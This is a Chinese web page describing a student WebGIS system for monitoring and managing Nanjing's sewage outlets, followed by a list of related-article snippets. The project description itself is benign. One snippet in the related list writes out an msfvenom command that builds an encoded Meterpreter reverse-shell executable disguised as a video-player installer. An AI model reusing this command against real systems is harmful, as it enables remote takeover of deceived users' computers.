2022(二等奖)C859基于WebGIS的南京市排污口管理系统

news2024/11/15 17:29:04

作品介绍

一、需求分析

(一)社会需求

《国务院办公厅关于加强入河入海排污口监督管理工作的实施意见》明确提出,入河入海排污口(以下简称排污口)是指直接或通过管道、沟、渠等排污通道向环境水体排放污水的口门,是流域、海域生态环境保护的重要节点。

排污口“上连污染源、下通水生态环境”,是连通污染源排放和水生态环境质量的重要节点,排污口管理是打通“岸上岸下”水环境管理的关键环节。

随着经济社会的高速发展以及城市人口的快速增长,南京市工业废水和生活污水排放量大幅增加﹐据统计,2019年南京市废水排放总量9.95亿t,其中工业废水排放量1.45亿t,生活污水排放量8.5亿t;2019年南京市重点工业企业废水排放量为9757万t,按水系划分,排入长江南京段干流的工业废水量分别为9091万t,占全市工业废水排放总量62.8%,大量污水通过沿岸排污口排入长江,严重影响长江南京段的水质状况﹐威胁集中式饮用水源保护的安全,制约社会和经济的可持续发展。加强排污口监督管理是水资源管理和水环境保护的重要手段,是水污染防治的重要措施,将直接服务于水环境质量改善。

排污口的监督管理,是水生态环境保护与修复的基础工作,是决定生态保护及修复成败的关键。作为地理信息科学专业的学生,我们认为借助地理信息系统能够更高效地存储、查询﹑管理、分析、利用排污口相关数据,提高环境数据和信息的利用价值﹐从而实现协调经济、社会和环境的关系,进一步提高水污染防治工作的科技化、信息化水平,提升水污染防治工作效率。基于我国水域污染情况以及排污口监督管理面临的问题,本小组搭建了基于WebGIS的南京市排污口管理系统,为管理部门制定整治方案并不断规范排污口管理提供支撑。

(二)用户需求

本系统的用户单位包括南京市生态环境局、社会公众。

(1)入河入海排污口管理人员

该系统可用于对工业企业排污口的整治督查工作。对入河、入海排污口实施信息统一、规范化管理,掌握现存排污口数量、分布、变更、排污状况、管理状况,构建入河、入海排污口信息化管理平台。为打通“岸上和水里”、“陆地和海洋”,抓好水污染防治,改善水环境质量提供管理支撑。

(2)社会公众

用户可以在H5移动端中查看已存在的排污口,同时对系统问题进行反馈。群众可在移动端对存在违规的排污口进行举报(包含位置、图片、内容等信息)。移动端加大对排污口监督管理法律法规和政策的宣传普及力度,增强公众生态环境保护意识,畅通公众监督渠道,形成交互式公众监督与处理处置机制。提高公众参与排污口监管的积极性,形成全社会共同监督、协同共治的良好局面。

二、总体设计

(一)系统架构图

图 1 系统架构图

 

(二)功能设计

1、排污口管理系统——WEB端

1.1 南京市排污口管理系统登录注册界面

图 2登录注册界面

1.2 排污口信息展示

在地图上展示排污口的点位,以及排污口所属公司的点位。点击排污口或公司可查看详情和定位,公司详情包含各项监测指标的监测值、监测视频等;左侧栏也可以按照公司名称进行搜索查询。

图 3 排污口信息展示

1.3 数据管理

管理公司和排污口信息的添加、更新、删除等工作

图 4 数据管理

1.4 水域污染模拟

水质模型作为研究水污染问题的重要工具,在水环境保护中得到越来越广泛的应用。对于有利条件复杂,水域宽广的水体(如大型河流、河口、海湾等),排放其中的污染物在完成横向混合之前在纵向和横向均存在浓度梯度,需要借助二维水质模型对其进行描述。

在河床形状较为规则、水量稳定的条件下,可采用二维稳态水质模型对其进行模拟。我们在该功能采用的是连续点源排放模型,用于水质研究。

在地图上选择一个排污口,选取一段位于排污口下游的河段,并输入相关参数,对一定时间内河流污染状况进行预测模拟

图 5 水域污染模拟

1.5 排污口布局分析

根据当地环境,对已有排污口合理规划,对预设排污口提供依据,力争排污口对环境影响最小。可编辑环境因素包括饮用水源地保护区、生态湿地保护区等,通过手动设置各个保护区的缓冲区距离来计算环境影响,分析结果将排污口分等级符号化展示,并按紧需要治理优先度进行分类展示。

图 6 排污口布局分析

1.6 用户反馈

相关部门可以在Web端查看公众举报信息并在地图上定位,根据所包含的位置信息分配给就近的管理人员,在未受理排污口界面中进行展示,针对公众提出的意见,去排查排污口监测数据是否真实,受理后标记为已受理在已受理排污口界面展示。

图 7 用户反馈

2、公众监督举报系统——H5移动端

2.1 移动端初始界面

图 8 移动端初始页面

2.2 移动端查看公司及排污口信息

图 9 查看排污口监测数据

2.3用户可以在微信小程序中查看已存在的排污口。对违规排污口进行投诉举报,提供拍照、定位等功能,在个人中心查看投诉举报记录。

图 10 举报反馈界面

2.4我的举报和反馈记录

图 11举报和反馈记录界面

三、数据库设计与关键技术

(一)数据库设计

1、地理数据库

空间数据存储在地理数据库中。如河流中心线、南京市河流等数据托管在ArcGIS Server上,并发布为要素服务,供前端使用。

图 12 地理数据

2、MySQL数据库

非空间数据储存在非关系型数据库—Mysql

2.1企业表 enterprise

2.2监测数据表 monitor_data

2.3排污口 sewage_outlet

2.4图片表 picture

2.5类型表 type

2.6用户表 user

(二)关键技术

1、前端服务

其中基础框架采用Vue, Vue 被设计为可以自底向上逐层应用。Vue 的核心库只关注视图层,方便与第三方库或既有系统整合。前后端分离开发,通过pnpm包管理,处理JS依赖问题。通过vite,处理前端资源打包,使用Naive UI,基于Vue的前端UI框架,使用ArcGIS API 进行前端可视化渲染展示。

2、后端服务

基础框架采用springboot,持久层框架框架mybatis-plus,文档服务采用的swagger-ui,数据用的是mysql数据库。

四、作品亮点

1、通过各类统计图表以及专题图对数据结果进行展示,辅助南京市生态环境局对市内排污口及所属公司的地理位置、排污口排放情况进行综合分析。

2、多种系统终端交互,加强系统实用性。web端和H5两端交互,极大地提高了排污口管理效率和系统实用性。

3、水域污染模拟功能可根据某一排污口排放的某一种排放值超标的污染物,来预测下游河段的污染物浓度,进行可视化分析,从而可以直观的了解到下游的污染情况,进行紧急预案,减少突发性污染事件带来的损失。

4、进行水域污染模拟预测,首先需要对预测河段进行格网划分,而我们采用turf.js库的格网划分方法,大大减少了河段划分的步骤,保证了前端性能,并与GeoSence Pro 所携带的河流中心线工具结合使用,从而求出每个插值点的与排污口的横向和纵向距离这一关键参数。

5、系统对于排污口的布局分析,充分考虑排污口布局和管控要求,严格落实相关法律法规关于排污口设置的规定,防止在保护区内随意设置排污口,为排污口合理规范布设提供依据。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/693223.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Day40

思维导图 练习 定义一个命名空间Myspace,包含以下函数:将一个字符串中的所有单词进行反转,并输出反转后的结果。例如,输入字符串为"Hello World",输出结果为"olleH dlroW",并在主函数…

Visual C++中的虚函数和纯虚函数的定义

我是荔园微风,作为一名在IT界整整25年的老兵,今天来说说Visual C中的虚函数和纯虚函数。 直接说虚函数和纯虚函数有很多人会直接晕,但是来看这篇帖子的很多人是有JAVA或其他面象对象编程基础的,我要不就先作个类比,究…

【Java面试题】Java基础——排序算法

文章目录 冒泡排序★★★算法步骤动图演示代码示例 选择排序算法步骤动图演示 插入排序算法步骤动图演示 快速排序算法步骤动图演示 冒泡排序★★★ 冒泡排序(Bubble Sort)也是一种简单直观的排序算法。 它重复的遍历过要排序的数列,一次比…

Debian 12 “bookworm” 正式发布

经过 1 年 9 个月零 28 天的开发,Debian 项目推出了其新的稳定版本 12(代号 bookworm)。 Debian 12 包含超过 11,089 个新软件包,总计 64,419 个软件包, 6,296 个软件包已作为过时包删除。此版本更新了 43,254 个软件…

threejs让模型始终面向相机

需求:threejs导入3D模型,改变相机位置的同时,让模型始终面向相机。 实现方式:使用模型的lookAt()方法,设置模型lookAt的值 首次加载模型时,面向相机 load.load(/model5.glb, g > {// 获取相机位置const…

浮点数不再神秘:JS浮点数精度详解

文章目录 I. 引言JS中什么是浮点数为什么精度会受到影响 II. 浮点数精度的问题浮点数精度丢失的例子JS中最常见的浮点数问题精度问题对计算的影响 III. 如何避免浮点数精度问题使用精度库避免精度错误的方法显示控制精度的方法 IV. 浮点数精度问题与前端开发前端开发中的浮点数…

在k8s上部署vue

1. dockerfile镜像文件编写 # 拉取 nginx镜像 FROM nginx:1.24.0# 拷贝 nginx 配置文件到 docker中 COPY nginx.conf /etc/nginx/nginx.conf# 拷贝vue打包后的文件到 docker中 COPY webapp /usr/share/nginx/html# 新增时区设置 RUN ln -sf /usr/share/zoneinfo/Asia/Shanghai…

【FreeRTOS】FreeRTOS 静态创建任务与删除

0. 实验准备 正点原子 STM32407ZG 探索者开发板 FreeRTOS 例程模板(可以在这一篇文章找到:STM32F407 移植 FreeRTOS) 1. 静态创建任务函数 API 1.1 函数简介 动态创建任务需要使用到BaseType_t xTaskCreate函数,我们可以在 Fr…

VUE L ∠脚手架 插曹Vuex ⑩⑨

目录 文章有误请指正,如果觉得对你有用,请点三连一波,蟹蟹支持✨ V u e j s Vuejs Vuejs C L I CLI CLI 插槽 ❗ C L I CLI CLI V u e X VueX VueX 1、概念 2、何时使用? 3、搭建 V u e x Vuex Vuex环境 4、基本使用…

基于Scrcpy的Android手机屏幕投影到电脑教程

基于Scrcpy的Android手机屏幕投影到电脑教程 文章目录 基于Scrcpy的Android手机屏幕投影到电脑教程一,前言二,具体步骤1.软件下载2.环境配置 三,基于Scrcpy的手机投屏教程1.基于Scrcpy的有线手机投屏2.无线投屏 一,前言 在执行某…

Spring学习(一)(IoC和DI)

1.Spring是什么??? 天天都能听到Spring,Spring,Spring。这东西到底是什么东西,是一个框架。没错通常所说的 Spring 指的是 Spring Framework(Spring 框架),它是⼀个开源…

当RPA遇到ChatGPT, 有哪些好玩的玩法

实在RPA于2023年4月7日发布了 6.7.0 SP3,其中最引人注目的亮点是与ChatGPT的紧密集成 。这种集成为用户提供了全新的玩法和体验,使他们能够与智能模型进行即时对话和交互,从而提高工作效率和创造力。用户可以将ChatGPT作为虚拟助手&#xff0…

opencv C++ 识别照片中的人脸

//识别照片中的人脸 1 #include <opencv2/core/core.hpp> #include <opencv2/imgproc/imgproc.hpp> #include <opencv2/opencv.hpp> #include <vector>

机试复习*

通过一些例子重拾一些记不清了的c、c知识。 首先是位运算&#xff1a; 然后是一些其他语法、输入输出&#xff1a; //N诺一天重拾C语言 WebSite: https://noobdream.com//Major/majorinfo/1///目录://1&#xff1a;枚举类型switch语句//2&#xff1a;枚举类型//3&#xff1a;…

Unity的小工具

最近项目工期紧&#xff0c;所以更新少了&#xff0c;不过我遇到一些问题&#xff0c;当我的UI/序列帧过多的时候&#xff0c;我需要去选中UI转换成Sprite&#xff0c;而且用shift选中的时候&#xff0c;文件夹中上百个文件&#xff0c;中间混进一个其他格式的文件我还得一个一…

使用msfvenom获取windows shell

Windows 1. kali 使用 msfvenom 生成程序文件 使用一个编码器msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.133.66 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -i 10 -f exe -o /var/www/html/西瓜影音1.exe其中,-a 指…

AI创作与游戏开发(二)工具方法概述

大家好,Generative AI Model的出现,给游戏开发带来一些新的变革.比如像stable dissfusion可以快速的生成图像,设计人物的原型,背景设定.像DreamFusion和这个Magic3D这种模型,它可以通过文本快速的建模3D对象.还有像chatgpt这种可以编写故事啊可以做模拟人物对话.AItts可以进行语…

【面试题23】MyISAM和InnoDB的区别

文章目录 一、前言二、MyISAM和InnoDB的区别2.1 存储结构和存储方式2.2 索引数据结构2.3 主键索引和非主键索引2.4 索引上存放的数据 三、MyISAM和InnoDB如何进行选择3.1 电子商务网站&#xff1a;3.2 博客类网站3.3 数据仓库 总结 一、前言 本文已收录于PHP全栈系列专栏&#…

Springboot 整合Camunda7

文章目录 前言一、原项目引入camunda二、直接搭建新demo 前言 camunda7文档 与springboot版本兼容组合 一、原项目引入camunda 导入maven依赖 <dependency><groupId>org.camunda.bpm.springboot</groupId><artifactId>camunda-bpm-spring-boot-sta…

【全志v3s】LicheePi-zero BSP移植开发流程

文章目录 基于全志v3s的Lichee-zero BSP移植开发流程ubuntu 系统安装下载镜像换源备份源列表修改 sources.list 文件更改为清华镜像源更新并升级安装依赖库 安装交叉编译工具链安装编译器新建 tool 文件夹并进入下载交叉编译链创建文件夹并解压配置环境变量安装其他库验证是否安…